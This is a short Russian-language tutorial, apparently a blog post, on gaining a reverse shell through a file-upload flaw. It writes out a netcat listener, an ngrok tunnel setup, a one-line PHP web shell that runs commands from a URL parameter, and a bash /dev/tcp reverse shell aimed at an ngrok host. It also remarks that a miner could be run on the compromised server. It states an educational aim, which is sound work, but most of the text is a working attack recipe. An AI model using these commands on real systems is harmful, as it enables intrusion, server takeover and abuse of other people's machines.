Привет, сегодня расскажу про то, как можно поднять reverse shell разными способами и получить контроль над атакуемой системой. В этой статье я расскажу не о способе захвата хоста, а о способах проэксплуатировать уязвимость. Запускаем слушателя На своей машине делаем такую команду: nc -lvp 31373 В ответ получаем ничего, это нормально. Теперь пробросим туннель через ngrok: ngrok authtoken ВашТокен Токен берётся с сайта https://ngrok.com/ И запускаем туннель: ngrok tcp 31373 Теперь трафик из глобальной сети можно направлять на 2.tcp.ngrok.io:17372 и он попадёт прямо вам в компьютер на порт 31373 Давайте представим себе ситуацию, что мы можем исполнить на хосте любую команду, например, мы загрузили туда файлик с таким содержимым: <?php system($_GET['cmd']); ?> И он у нас доступен по пути: http://127.0.0.1:5000/aboba.php Теперь мы имеем возможность исполнять команды на сервере, но нам этого мало. Для получения более удобной консоли и расширения своих возможностей запускаем reverse shell. Так как на атакуемом хосте система GNU/Linux, то воспользуемся возможностями оболочки bash. Запустим шелл таким образом: bash -i >& /dev/tcp/АйпиАтакующего/Порт 0>&1 В нашем случае это будет так: bash -i >& /dev/tcp/2.tcp.ngrok.io/17372 0>&1 Закодируем команду под URL запрос: И исполним в браузере: Смотрим в окно ngrok и видим активное подключение: А в окошке где выполняли команду nc -lvp 31373 появилась строка приглашения! Можно исполнять любые команды на сервере: Можно даже майнер запустить. Но это не единственный способ заполучить ценнейший reverse shell, В данном файле на Github вы можете найти огромное кол-во примеров для запуска такой штуки. Данная статья создана для того, что бы дать понятие о такой штуке как reverse shell и показать как опасна может быть одна маленькая уязвимость, в данном случае загрузка файла с расширением .php на сервер, подробнее про этот метод атаки тут.